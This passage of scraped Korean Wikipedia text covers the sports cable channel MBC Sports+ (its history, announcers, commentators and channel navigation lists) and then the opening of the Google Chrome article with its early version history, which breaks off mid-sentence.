제이 강 아이스하키 : 김정민, 김형일, 김희우 기타 분류[편집] e스포츠 : 장지수, 박상현, 정인호, 황규형, 정소림, 이승원 주요 프로그램[편집] KBO 리그 MLB 한국프로농구 오스트레일리안 베이스볼 리그 K리그 내셔널 풋볼 리그 같이 보기[편집] SBS 스포츠 KBS N 스포츠 JTBC3 Fox Sports SPOTV IB 스포츠 skySports 카스 포인트 : MBC 스포츠플러스에서 개발한 프로야구 선수 평가 체계 MBC 스포츠플러스 2 각주[편집] ↑ 윤고은 기자 (2010년 6월 30일). “MBC ESPN, MBC SPORTS+로 사명 변경”. 연합뉴스.  ↑ MBC드라마넷 2개 채널 15일 HD방송 개시 외부 링크[편집] MBC Sports+ - 공식 웹사이트 vdeh텔레비전 MBC TV 라디오 MBC 표준FM MBC FM4U 문화방송 네트워크국수도권 문화방송(본사) 강원권 춘천문화방송 원주문화방송 MBC강원영동 (강릉방송국 · 삼척방송국) 충청,제주권 대전문화방송 MBC충북 (청주방송국 · 충주방송국) 제주문화방송 호남권 전주문화방송 광주문화방송 목포문화방송 여수문화방송 경북권 대구문화방송 안동문화방송 포항문화방송 경남권 부산문화방송 울산문화방송 MBC경남 (창원방송 · 진주방송) 지상파DMB 네트워크수도권MBC DMB강원권MY MBC (강원권)충청권MY MBC (충청권)전라권Honam MBC경북권myMBC (경북권)경남권Busan MBC제주권Jeju MBC케이블·위성·IPTV MBC PLUS (MBC 드라마넷 · MBC 에브리원 · MBC 뮤직 · MBC 스포츠플러스 · MBC ON) MBC NET 자회사 MBC C&I MBC 아카데미 MBC 미술센터 MBC 애드컴 iMBC 꿈나무축구재단 MBC 아메리카 블렌딩 (SBS와 합작 투자) 관련 문서 방송문화진흥회 정수장학회 경향신문 여의도 문화방송 사옥 상암 MBC 사옥 폐국 및 이전 계열사 HEN 홀마크/앨리스TV/MBC 라이프/MBC 퀸 Gembc/MBC 게임 MBC 무비스 MBC 스포츠플러스 2 채널TEN 디스코 (텔레비전 채널) MBC ESPN 남원문화방송 디스커버리 채널 코리아 TVB 코리아 마산문화방송·창원문화방송 진주문화방송 MBC 미디어텍/MBC 프로덕션 강릉문화방송 삼척문화방송 청주문화방송 충주문화방송 vdeh대한민국의 스포츠 채널 ⓒ : 케이블 TV, ⓢ : Sky Life, ⓘ : IPTV, HD : HD(디지털방송) TV(텔레비전) KBS N 스포츠 ⓒ,ⓢ,ⓘ MBC 스포츠+ ⓒ,ⓢ,ⓘ SBS 스포츠 ⓒ,ⓢ,ⓘ JTBC3 Fox Sports ⓒ,ⓢ,ⓘ SPO TV ⓒ,ⓢ,ⓘ SPO TV+ ⓒ,ⓢ,ⓘ 스카이 스포츠 ⓒ,ⓢ,ⓘ JTBC GOLF ⓒ,ⓢ,ⓘ SBS 골프 ⓒ,ⓢ,ⓘ 빌리어즈TV ⓒ,ⓢ,ⓘ 생활체육TV ⓒ,ⓘ SPO TV2 ⓘ STN SPORTS ⓘ IB스포츠 ⓘ 골프 채널 코리아 ⓘ 폐국 / 채널변경 Xports SBS 축구채널 한국스포츠TV/SBS SPORTSTV/SBS ESPN MBC 스포츠채널,MBC-ESPN MBC 스포츠플러스 2 ⓒ,ⓢ,ⓘ vdeh 대한민국의 텔레비전 방송 채널지상파전국 KBS (KBS 1TV · KBS 2TV) MBC (MBC TV) SBS (SBS TV) EBS (EBS 1TV · EBS 2TV) 수도권 KBS 경인 OBS 강원권 KBS 원주 KBS 강릉 KBS 춘천 춘천MBC 원주MBC MBC강원영동(강릉 · 삼척) G1 충청권 KBS 대전 KBS 충주 KBS 청주 대전MBC MBC충북 TJB CJB 호남권 KBS 전주 KBS 광주 KBS 순천 KBS 목포 전주MBC 광주MBC 목포MBC 여수MBC JTV kbc 영남권 KBS 대구 KBS 안동 KBS 포항 KBS 부산 KBS 울산 KBS 창원 KBS 진주 대구MBC 안동MBC 포항MBC 부산MBC 울산MBC MBC경남(창원 · 진주) TBC KNN ubc 제주도 KBS 제주 제주MBC JIBS 종편·보도 JTBC MBN TV CHOSUN 채널A YTN 연합뉴스TV 국제 CNN US CNN International FOX NEWS BBC World NEWS Bloomberg CNBC NHK World-JAPAN NHK World Premium CCTV-4 CGTN CGTN Documentary Arirang TV 경제 SBS CNBC 매일경제TV 한국경제TV 서울경제TV MTN 이데일리TV 토마토TV RTN 부동산TV 아시아경제TV SS증권방송 스포츠·여가 KBS N Sports MBC Sports+ SBS Sports SBS Golf JTBC3 Fox Sports JTBC GOLF SPOTV SPOTV2 SPOTV+ SPOTV ON1 SPOTV ON2 IB Sports Golf Channel Korea skySports skyTravel skyHealing 빌리어즈TV 엣지TV 한국승마TV STN SPORTS 생활체육TV 마운틴TV 폴라리스TV ONT 아웃도어채널 FISHING TV 한국낚시방송 FTV 한국낚시채널 브레인TV 바둑TV K-바둑 온북TV 오락 KBS Joy MBC Every1 SBS FunE TV조선2 JTBC2 JTBC4 MBN+ 채널A PLUS tvN XtvN E채널 코미디TV TRENDY skyENT 하이라이트TV CMC TV FUN TV K-STAR ETN EXF 음악 MBC Music SBS MTV Mnet CUBE TV GM 국악방송 Stingray Classica 가요TV 아이넷TV 월드이벤트TV KISS 뮤직포털 Satio 음악방송 영화·드라마 OCN 채널CGV Super Action Catch ON 1 Catch ON 2 SCREEN CineF FOX FOX Life FX AXN Mplex 더 무비 인디필름 KBS Drama MBC Drama MBC ON SBS Plus SBS Plus UHD Dramax skyDrama DramaH Drama Cube 텔레노벨라 히어로액션 디원 중화TV AsiaN (UHD) CHING TVa 채널J 채널W CNTV 채널차이나 플레이보이TV 미드나잇 펜트하우스TV ViKi 허니TV 교양 KBS N LIFE MBC NET 9colors NOW JEJU TV YTN 사이언스 YTN 라이프 채널뷰 skyA&C skyICT skyPetPark NGC Nat Geo Wild Nat Geo People 디스커버리 채널 HISTORY TLC 애니멀 플래닛 예술TV Arte 리얼TV 환경TV 생활·패션·건강 KBS W O tvN Olive ONSTYLE OBS W GTV 리빙TV 동아TV LIFETIME Fashion N 쿠키건강TV 헬스메디TV SmileTV 게임·MCN DIA TV OGN SPOTV GAMES SBS AfreecaTV 교육·어린이·육아 KBS KIDS EBS+1 EBS+2 EBS english EBS KIDS JEI 재능TV JEI English TV 플레이런TV 대교어린이TV 브라보키즈 키즈TV EDUKIDS TV 키즈톡톡 플러스 육아방송 BABY TV 대교베이비TV CBeebies Miao Mi 애니메이션 투니버스 챔프TV Nickelodeon 애니맥스 애니플러스 애니박스 애니원 디즈니채널 디즈니 주니어 카툰네트워크 부메랑 드림웍스 쇼핑 CJ오쇼핑 CJ오쇼핑 Plus GS SHOP GS MY SHOP 롯데홈쇼핑 롯데ONETV 현대홈쇼핑 현대홈쇼핑 Plus NS홈쇼핑 NS SHOP+ 홈&쇼핑 아임쇼핑 SK Stoa 신세계TV쇼핑 쇼핑엔T K쇼핑 W쇼핑 공공 KTV 국민방송 국회방송 한국직업방송 소상공인방송 yestv 국방TV tbs 교통방송 소비자TV 시민방송 RTV 법률방송 일자리방송 복지TV 실버TV 실버아이 사회안전방송 JJC지방자치TV OUN 방송대학TV 종교 BTN 불교TV CPBC 가톨릭평화방송 CBS 기독교방송 CTS 기독교TV BBS 불교방송 WBS 원음방송 STB 상생방송 CGNTV GoodTV C채널 유교방송 UHD SBS Plus UHD UXN UMAX LIFE U UHD Dream TV skyUHD AsiaUHD INSIGHT UHD 지역 SO 채널 CJ Hello D'live T broad 현대HCN CMB 서경방송 ABN 아름방송 CCS 충북방송 GCS 푸른방송 JCN 울산중앙방송 NIB 남인천방송 KCN금강방송 KCTV 광주방송 KCTV 제주방송 굵은 글씨 : 대한민국 방송통신발전 기본법 제 40조 제 1항에서 지정한 재난방송 의무송출 방송사. 이 글은 방송에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 이 글은 스포츠에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=MBC_스포츠플러스&oldid=24515968" 분류: MBC 플러스문화방송의 텔레비전 네트워크2001년 개국2001년 폐국2010년 폐국스포츠 텔레비전 네트워크대한민국의 텔레비전 케이블 방송국2001년 설립된 텔레비전 방송국과 채널숨은 분류: 영어 표기를 포함한 문서방송에 관한 토막글스포츠에 관한 토막글모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishEspañol 링크 편집 이 문서는 2019년 7월 3일 (수) 00:28에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
MBC 스포츠플러스 - 위키백과, 우리 모두의 백과사전 MBC 스포츠플러스 위키백과, 우리 모두의 백과사전. (MBC 스포츠+에서 넘어옴) 둘러보기로 가기 검색하러 가기 MBC 스포츠플러스 영문표기 MBC SPORTS+ 형태 MBC의 출자 회사 개국일 MBC 스포츠채널 : 2001년 4월 2일MBC ESPN : 2001년 11월 1일MBC SPORTS+ : 2010년 8월 1일 폐국일 MBC 스포츠채널 : 2001년 10월 31일MBC ESPN : 2010년 7월 31일 본사 경기도 고양시 일산동구 호수로 596(장항동 MBC드림센터) 모기업 MBC - MBC 플러스 슬로건 No.1 Channel IN Sports 웹사이트 MBC 스포츠+ 공식 홈페이지 MBC 스포츠플러스(엠비씨 스포츠플러스, 영어: MBC SPORTSPLUS)는 스포츠, 예능 프로그램 등을 주로 편성하는 MBC 플러스 계열사의 텔레비전 채널이다. 2001년 미국의 ESPN STAR SPORTS사와 공동 설립하면서 "MBC ESPN"란 이름을 사용하였다가, 합작 계약을 끝낸 후 2010년 8월 1일부터 현재의 이름으로 변경되었다[1]. 2007년 1월 15일부터 HD 방송을 시작하였다.[2] 2014년 3월 MBC 에브리원을 대신하여 지상파 DMB 송출을 시작했지만 2년만에 송출을 중단하고 다시 MBC 에브리원 DMB 채널로 전환된다. 목차 1 소속 아나운서 1.1 MBC PLUS 소속 아나운서 1.2 소속 해설위원 1.3 기타 분류 2 주요 프로그램 3 같이 보기 4 각주 5 외부 링크 소속 아나운서[편집] MBC PLUS 소속 아나운서[편집] 한명재 김선신 김수환 박지영 손우주 신승대 정병문 정용검 이정호 김민준 정순주 유대현 한장희 정새미나 최은지 김희주 한재웅 이유빈 소속 해설위원[편집] KBO : 허구연, 양준혁, 박재홍, 정민철, 심재학 , 이상훈 MLB : 허구연, 송재우, 김형준, 김선우, 유선우, 박승현, 손건영, 한승훈, 김병현 아마추어 야구 : 한만정 축구 : 이상윤, 서형욱, 이주헌, 박건하, 송종국 농구 : 김승현, 김태환, 김동광, 최연길, 김일두, 박건영 격투기 : 이동기, 천창욱 육상 : 윤여춘 당구 : 김현석, 오성규 NFL : 손건영, 제이 강 아이스하키 : 김정민, 김형일, 김희우 기타 분류[편집] e스포츠 : 장지수, 박상현, 정인호, 황규형, 정소림, 이승원 주요 프로그램[편집] KBO 리그 MLB 한국프로농구 오스트레일리안 베이스볼 리그 K리그 내셔널 풋볼 리그 같이 보기[편집] SBS 스포츠 KBS N 스포츠 JTBC3 Fox Sports SPOTV IB 스포츠 skySports 카스 포인트 : MBC 스포츠플러스에서 개발한 프로야구 선수 평가 체계 MBC 스포츠플러스 2 각주[편집] ↑ 윤고은 기자 (2010년 6월 30일). “MBC ESPN, MBC SPORTS+로 사명 변경”. 연합뉴스.  ↑ MBC드라마넷 2개 채널 15일 HD방송 개시 외부 링크[편집] MBC Sports+ - 공식 웹사이트 vdeh텔레비전 MBC TV 라디오 MBC 표준FM MBC FM4U 문화방송 네트워크국수도권 문화방송(본사) 강원권 춘천문화방송 원주문화방송 MBC강원영동 (강릉방송국 · 삼척방송국) 충청,제주권 대전문화방송 MBC충북 (청주방송국 · 충주방송국) 제주문화방송 호남권 전주문화방송 광주문화방송 목포문화방송 여수문화방송 경북권 대구문화방송 안동문화방송 포항문화방송 경남권 부산문화방송 울산문화방송 MBC경남 (창원방송 · 진주방송) 지상파DMB 네트워크수도권MBC DMB강원권MY MBC (강원권)충청권MY MBC (충청권)전라권Honam MBC경북권myMBC (경북권)경남권Busan MBC제주권Jeju MBC케이블·위성·IPTV MBC PLUS (MBC 드라마넷 · MBC 에브리원 · MBC 뮤직 · MBC 스포츠플러스 · MBC ON) MBC NET 자회사 MBC C&I MBC 아카데미 MBC 미술센터 MBC 애드컴 iMBC 꿈나무축구재단 MBC 아메리카 블렌딩 (SBS와 합작 투자) 관련 문서 방송문화진흥회 정수장학회 경향신문 여의도 문화방송 사옥 상암 MBC 사옥 폐국 및 이전 계열사 HEN 홀마크/앨리스TV/MBC 라이프/MBC 퀸 Gembc/MBC 게임 MBC 무비스 MBC 스포츠플러스 2 채널TEN 디스코 (텔레비전 채널) MBC ESPN 남원문화방송 디스커버리 채널 코리아 TVB 코리아 마산문화방송·창원문화방송 진주문화방송 MBC 미디어텍/MBC 프로덕션 강릉문화방송 삼척문화방송 청주문화방송 충주문화방송 vdeh대한민국의 스포츠 채널 ⓒ : 케이블 TV, ⓢ : Sky Life, ⓘ : IPTV, HD : HD(디지털방송) TV(텔레비전) KBS N 스포츠 ⓒ,ⓢ,ⓘ MBC 스포츠+ ⓒ,ⓢ,ⓘ SBS 스포츠 ⓒ,ⓢ,ⓘ JTBC3 Fox Sports ⓒ,ⓢ,ⓘ SPO TV ⓒ,ⓢ,ⓘ SPO TV+ ⓒ,ⓢ,ⓘ 스카이 스포츠 ⓒ,ⓢ,ⓘ JTBC GOLF ⓒ,ⓢ,ⓘ SBS 골프 ⓒ,ⓢ,ⓘ 빌리어즈TV ⓒ,ⓢ,ⓘ 생활체육TV ⓒ,ⓘ SPO TV2 ⓘ STN SPORTS ⓘ IB스포츠 ⓘ 골프 채널 코리아 ⓘ 폐국 / 채널변경 Xports SBS 축구채널 한국스포츠TV/SBS SPORTSTV/SBS ESPN MBC 스포츠채널,MBC-ESPN MBC 스포츠플러스 2 ⓒ,ⓢ,ⓘ vdeh 대한민국의 텔레비전 방송 채널지상파전국 KBS (KBS 1TV · KBS 2TV) MBC (MBC TV) SBS (SBS TV) EBS (EBS 1TV · EBS 2TV) 수도권 KBS 경인 OBS 강원권 KBS 원주 KBS 강릉 KBS 춘천 춘천MBC 원주MBC MBC강원영동(강릉 · 삼척) G1 충청권 KBS 대전 KBS 충주 KBS 청주 대전MBC MBC충북 TJB CJB 호남권 KBS 전주 KBS 광주 KBS 순천 KBS 목포 전주MBC 광주MBC 목포MBC 여수MBC JTV kbc 영남권 KBS 대구 KBS 안동 KBS 포항 KBS 부산 KBS 울산 KBS 창원 KBS 진주 대구MBC 안동MBC 포항MBC 부산MBC 울산MBC MBC경남(창원 · 진주) TBC KNN ubc 제주도 KBS 제주 제주MBC JIBS 종편·보도 JTBC MBN TV CHOSUN 채널A YTN 연합뉴스TV 국제 CNN US CNN International FOX NEWS BBC World NEWS Bloomberg CNBC NHK World-JAPAN NHK World Premium CCTV-4 CGTN CGTN Documentary Arirang TV 경제 SBS CNBC 매일경제TV 한국경제TV 서울경제TV MTN 이데일리TV 토마토TV RTN 부동산TV 아시아경제TV SS증권방송 스포츠·여가 KBS N Sports MBC Sports+ SBS Sports SBS Golf JTBC3 Fox Sports JTBC GOLF SPOTV SPOTV2 SPOTV+ SPOTV ON1 SPOTV ON2 IB Sports Golf Channel Korea skySports skyTravel skyHealing 빌리어즈TV 엣지TV 한국승마TV STN SPORTS 생활체육TV 마운틴TV 폴라리스TV ONT 아웃도어채널 FISHING TV 한국낚시방송 FTV 한국낚시채널 브레인TV 바둑TV K-바둑 온북TV 오락 KBS Joy MBC Every1 SBS FunE TV조선2 JTBC2 JTBC4 MBN+ 채널A PLUS tvN XtvN E채널 코미디TV TRENDY skyENT 하이라이트TV CMC TV FUN TV K-STAR ETN EXF 음악 MBC Music SBS MTV Mnet CUBE TV GM 국악방송 Stingray Classica 가요TV 아이넷TV 월드이벤트TV KISS 뮤직포털 Satio 음악방송 영화·드라마 OCN 채널CGV Super Action Catch ON 1 Catch ON 2 SCREEN CineF FOX FOX Life FX AXN Mplex 더 무비 인디필름 KBS Drama MBC Drama MBC ON SBS Plus SBS Plus UHD Dramax skyDrama DramaH Drama Cube 텔레노벨라 히어로액션 디원 중화TV AsiaN (UHD) CHING TVa 채널J 채널W CNTV 채널차이나 플레이보이TV 미드나잇 펜트하우스TV ViKi 허니TV 교양 KBS N LIFE MBC NET 9colors NOW JEJU TV YTN 사이언스 YTN 라이프 채널뷰 skyA&C skyICT skyPetPark NGC Nat Geo Wild Nat Geo People 디스커버리 채널 HISTORY TLC 애니멀 플래닛 예술TV Arte 리얼TV 환경TV 생활·패션·건강 KBS W O tvN Olive ONSTYLE OBS W GTV 리빙TV 동아TV LIFETIME Fashion N 쿠키건강TV 헬스메디TV SmileTV 게임·MCN DIA TV OGN SPOTV GAMES SBS AfreecaTV 교육·어린이·육아 KBS KIDS EBS+1 EBS+2 EBS english EBS KIDS JEI 재능TV JEI English TV 플레이런TV 대교어린이TV 브라보키즈 키즈TV EDUKIDS TV 키즈톡톡 플러스 육아방송 BABY TV 대교베이비TV CBeebies Miao Mi 애니메이션 투니버스 챔프TV Nickelodeon 애니맥스 애니플러스 애니박스 애니원 디즈니채널 디즈니 주니어 카툰네트워크 부메랑 드림웍스 쇼핑 CJ오쇼핑 CJ오쇼핑 Plus GS SHOP GS MY SHOP 롯데홈쇼핑 롯데ONETV 현대홈쇼핑 현대홈쇼핑 Plus NS홈쇼핑 NS SHOP+ 홈&쇼핑 아임쇼핑 SK Stoa 신세계TV쇼핑 쇼핑엔T K쇼핑 W쇼핑 공공 KTV 국민방송 국회방송 한국직업방송 소상공인방송 yestv 국방TV tbs 교통방송 소비자TV 시민방송 RTV 법률방송 일자리방송 복지TV 실버TV 실버아이 사회안전방송 JJC지방자치TV OUN 방송대학TV 종교 BTN 불교TV CPBC 가톨릭평화방송 CBS 기독교방송 CTS 기독교TV BBS 불교방송 WBS 원음방송 STB 상생방송 CGNTV GoodTV C채널 유교방송 UHD SBS Plus UHD UXN UMAX LIFE U UHD Dream TV skyUHD AsiaUHD INSIGHT UHD 지역 SO 채널 CJ Hello D'live T broad 현대HCN CMB 서경방송 ABN 아름방송 CCS 충북방송 GCS 푸른방송 JCN 울산중앙방송 NIB 남인천방송 KCN금강방송 KCTV 광주방송 KCTV 제주방송 굵은 글씨 : 대한민국 방송통신발전 기본법 제 40조 제 1항에서 지정한 재난방송 의무송출 방송사. 이 글은 방송에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 이 글은 스포츠에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=MBC_스포츠플러스&oldid=24515968" 분류: MBC 플러스문화방송의 텔레비전 네트워크2001년 개국2001년 폐국2010년 폐국스포츠 텔레비전 네트워크대한민국의 텔레비전 케이블 방송국2001년 설립된 텔레비전 방송국과 채널숨은 분류: 영어 표기를 포함한 문서방송에 관한 토막글스포츠에 관한 토막글모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishEspañol 링크 편집 이 문서는 2019년 7월 3일 (수) 00:28에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
구글 크롬 - 위키백과, 우리 모두의 백과사전 구글 크롬 위키백과, 우리 모두의 백과사전. (크롬 브라우저에서 넘어옴) 둘러보기로 가기 검색하러 가기 이 문서는 구글의 인터넷 브라우저에 관한 것입니다. 원소에 대해서는 크로뮴 문서를 참조하십시오. 구글 크롬Google Chrome 개발자 구글 발표일 2008년 9월 3일 안정화 버전 75.0.3770.100 (2019.6.18 미리보기 버전 77.0.3833.0 개발 상태 개발 중 프로그래밍 언어 C++, 어셈블리어, 파이썬, 자바스크립트 운영 체제 안드로이드 (4.0 이상)iOS (9.0이상)리눅스macOS (10.9 이상)윈도우 (윈도우 7이상) 엔진 블링크, V8 플랫폼 x86, x64, 32비트, ARMv7 언어 53개국어 (한국어 포함) 종류 웹 브라우저 라이선스 Google 크롬 서비스 약관웹키트: BSD/LGPL;V8: BSD. 웹사이트 www.google.co.kr/chrome 구글 크롬[A](Google Chrome)은 구글이 개발중인 프리웨어 웹 브라우저이다. 버전 27 까지는 웹키트 레이아웃 엔진을 이용했으나 버전 28 이후는 웹키트의 포크인 블링크를 사용한다. 구글 크롬은 간단하고 효율적인 사용자 인터페이스를 제공하며 현존하는 다른 웹 브라우저들에 비해 나은 안정성과 속도, 그리고 보안성을 갖는 것을 목표하고 있다. 2008년 9월 3일 마이크로소프트 윈도우용 베타 버전이 나왔으며, 2008년 12월 11일 첫 안정화 버전이 나왔다. 크롬이란 뜻은 원래 그래픽 사용자 인터페이스에서 창틀을 가리키는데, 여기서는 브라우저 틀 영역을 가리키며, 이 영역을 최소화시키자는 목표로 크롬이라고 이름을 지었다고 한다.[1] 스탯카운터 통계 기준으로 2012년 5월부터 인터넷 익스플로러를 제치고 현재 전 세계에서 가장 많이 쓰이는 웹 브라우저이다.[2] 목차 1 역사 1.1 출시 발표 1.2 발달 1.3 버전 역사 2 배포 버전 2.1 안정판(Stable) 2.2 시험판(Beta) 2.3 개발자판(Dev) 2.4 카나리아(Canary Build) 3 시장 점유율 3.1 버전별 시장 점유율 3.2 세계 웹 브라우저 시장에서 점유율 3.3 국내 웹 브라우저 시장에서의 점유율 4 기능 4.1 크롬 About 주소명령체계 5 시스템 요구사항 6 그 외 7 기타 브라우저 8 같이 보기 9 각주 10 외부 링크 역사[편집] 출시 발표[편집] 구글 크롬의 발표는 2008년 9월 2일에 하였으며 출시는 2008년 9월 3일에 예정되어 있었다. 구글 크롬의 특징을 설명하고 새로운 브라우저에 대한 관심을 유발시키기 위해 만화가 스콧 맥클라우드가 그린 만화가 저널리스트들과 블로거들에게 보내졌다. 발달[편집] 구글 크롬은 구글과 모질라 넷스케이프 포타블 런타임(Mozilla's Netscape Portable Runtime), 네트워크 보안 서비스(Network Security Service), NPAPI 이 밖에도 SQLite, 많은 오픈 소스를 통해 25개의 코드 라이브러리를 모아 만들어졌다. 버전 역사[편집] 색깔 뜻 빨간색 오래된 버전 초록색 안정화 버전 파란색 베타 버전 보라색 개발자 버전 분홍색 카나리아 버전 주요버전 출시 날짜 레이아웃 버전[3] V8 엔진 버전[4] 운영체제 지원 중요 변경내용 0.2.149 2008-09-08 522 0.3 윈도우 첫 출시. 0.3.154 2008-10-29 플러그인과 웹 프록시의 성능 및 신뢰성 개선. 입력 칸을 위한 맞춤법 검사기 추가. 탭과 창 관리기능 개선. 0.4.154 2008-11-24 525 가져오기 및 내보내기 기능을 포함한 북마크 관리자 지원. 옵션에 개인정보 설정 추가. 팝업 차단 알림 방법 변경, 몇가지 보안기능 수정. 1.0.154.36 2008-12-11 528 첫 안정화 버전 출시. 2.0.172.28 2009-05-21 530 0.4 35% 더 빨라진 자바스크립트 속도 (SunSpider 벤치마크). 마우스 휠 지원. 전체화면 모드. 전체페이지 줌. 양식 자동완성. 북마크 제목순으로 정렬. 브라우저와 데스크톱 가장자리 탭 도킹. 기초적 그리스몽키 지원.[5] 3.0.195.21 2009-09-15 532 1.2 맞춤화된 새로운 "새 탭 페이지". 25% 빨라진 자바스크립트 속도. HTML5의 비디오와 오디오 요소 지원. 가벼워진 테마. 4.0.249.78 2010-01-25 532.5 1.3 확장 프로그램, 북마크 동기화, 강화된 개발자 도구, 더 나아진 HTML5 지원, 더 나아진 성능, Acid3 테스트 모두 통과, HTTP 바이트 범위 지원, 늘어난 보안성과 교차 사이트 스크립팅을 방지하기 위한 실험적인 XSS 감시기능(Auditor) 새로 추가.[6] 4.1.249.1036 2010-03-17 번역 정보막대, 새로운 개인정보 보호 기능, XSS 감시기능(Auditor) 비활성화.[7] 5.0.375.55 2010-05-25 533 2.1 윈도우맥리눅스 더 나아진 자바스크립트 기능, 브라우저 설정 동기화, 더 늘어난 HTML5 지원 (GPS API, 앱 캐시, 웹 소켓 그리고 파일 드래그 앤 드롭), 새로 만들어진 북마크 관리자, 통합된 어도비 플래시 플레이어.[8][9] 6.0.472.53 2010-09-02 534.3 2.2 새롭고 간결화된 사용자 인터페이스와 간소화된 검색주소창, 새 탭 페이지, 하나로 합쳐진 메뉴 단추. 양식 자동완성. 확장 프로그램과 양식 자동완성 정보를 포함하는 확대된 동기화 기능. WebM형식 비디오 지원. 더 나아진 성능과 안정성.[10] 내장된 PDF 지원 기능 (기본적으로 비활성화).[11] 7.0.517.43 2010-10-19 534.7 2.3.11.22 몇백가지의 오류 수정과 함께 주로 안정화를 위해 출시. HTML5 파싱 알고리즘, 파일 API, 입력 요소를 통한 디렉토리 업로드 구현. 맥 OS X 버전에 사용자 인터페이스 자동화를 위한 애플스크립트 추가.[12] SSL 소켓을 위한 후기 바인딩 활성화: 이제 높은 우선순위의 SSL 요청은 항상 서버에 먼저 보내짐. 쿠키를 관리 할 수 있는 새 옵션. 웹 애플리케이션 특징을 활성화 할 수 있도록 업데이트 된 새 탭 페이지. 8.0.552.215 2010-12-02 534.10 2.4.9.19 크롬 웹스토어, 보안을 위해 크롬의 샌드박스 안에서 실행되는 내장 PDF 뷰어, 웹 애플리케이션을 포함하는 확대된 동기화 기능, 더 나아진 플러그인 조작.[13] 그리고 이번 배포 버전에서는 순간 검색, 사이드 탭(윈도우 전용), 탭 구성 설정, 클릭 투 플레이, 백그라운드 웹 애플리케이션, 원격 설정, 오래된 플러그인 사용 안함, XSS 감시기능(Auditor), 클라우드 프린트 프록시, GPU 가속 합성, 캔버스 요소를 위한 WebGL 지원, 익스포제기능과 비슷한 "탭 오버리뷰" 모드 (맥 전용)와 같은 실험적 기능들이 나열된 "about:flags"가 추가되었다. 9.0.597.84 2011-02-03 534.13 2.5.9.6 기본적으로 WebGL 활성화, 어도비 플래시 샌드박스 실행(윈도우 전용)과 순간검색 옵션.[14] WebP 지원.[15] 새로운 about:flags: 프린트 미리보기(Print Preview), GPU 가속 합성(GPU Accelerated Compositing), GPU 가속 캔버스 2D, 구글 네이티브 클라이언트(Google Native Client), CRX 없는 웹 앱(CRX-less Web Apps), 웹페이지 프리렌더링(Web Page Prerendering), 실험적 확장 프로그램 API(Experimental Extension APIs), 하이퍼링크 감시 비활성화. 10.0.648.127 2011-03-08 534.16 3.0.12.30 구글 클라우드 프린트 서명 인터페이스를 기본적으로 활성화. GPU 프로세스 샌드박스에서 실행 (현재 부분적으로 시행 중, v10 최종버전에 완성 예정이었으나 v11 최종버전으로 미루어짐).[16][17] V8을 위한 개선된 컴파일러인 크랭크샤프트(Crankshaft) 통합으로 빨라진 자바스크립트 성능.[18] 옵션 창 탭으로 변경. 11.0.696.57 2011-04-27 534.24 3.1.8.16 HTML5의 음성 입력 API 지원.[19] 아이콘 변경.[20] 12.0.742.91 2011-06-07 534.30 3.2.10.21 탭 다중 선택 지원. Ctrl키를 누른 상태에서 탭을 마우스로 클릭하여 여러 탭을 선택할 수 있으며, 동시에 여러 작업을 한번에 처리할 때 사용함.(윈도우 전용) 3D CSS 하드웨어 가속. 악성 파일을 내려받기 하지 않음으로써 새로운 안전 브라우징 프로텍션(Safe Browsing Protection) 기능. 크롬 내부의 플래시 쿠키 삭제 기능. 검색주소창(Omnibox)에서 애플리케이션의 이름을 입력하여 애플리케이션 실행. 동기화를 옵션 창에 통합. 구글 기어스 삭제[21] 및 G메일, 구글 문서도구 등과 같은 HTML5의 오프라인 기능으로 대체.[22] 매킨토시(Mac)에서 Command-Q를 입력했을 때 경고 추가. PDF 뷰어에 프린트 버튼, 세이브 버튼 추가.[23] 13.0.782.107 2011-08-02 535.1 3.3.10.30 탭 그룹화(Tab Grouping). 웹페이지 프리렌더링(Prerendering). 실행 시 기존 탭에 초점(검색주소창에 이미 실행된 탭의 URL을 입력하면, 입력된 URL을 현재 탭에서 새로 실행하지 않고 이미 실행된 탭으로 초점을 이동함). 가속화된 2D 캔버스. 프린트 미리보기 개선 및 실험적 새 탭 페이지.[24] 14.0.835.163 2011-09-16 535.1 3.4.14.21 크롬 웹 스토어에서 네이티브 클라이언트(NaCl) 애플리케이션이 적용됨.[25] 웹 오디오 API 추가. 맥 OS X 라이언에서 추가적인 기능 지원. 모든 데이터에 대한 암호 동기화. 맥에서 프린트 미리보기 지원. 실험적 웹 요청 확장 API 추가. 실험적 콘텐츠 설정 확장 API 추가.[26] HTTPS 사이트의 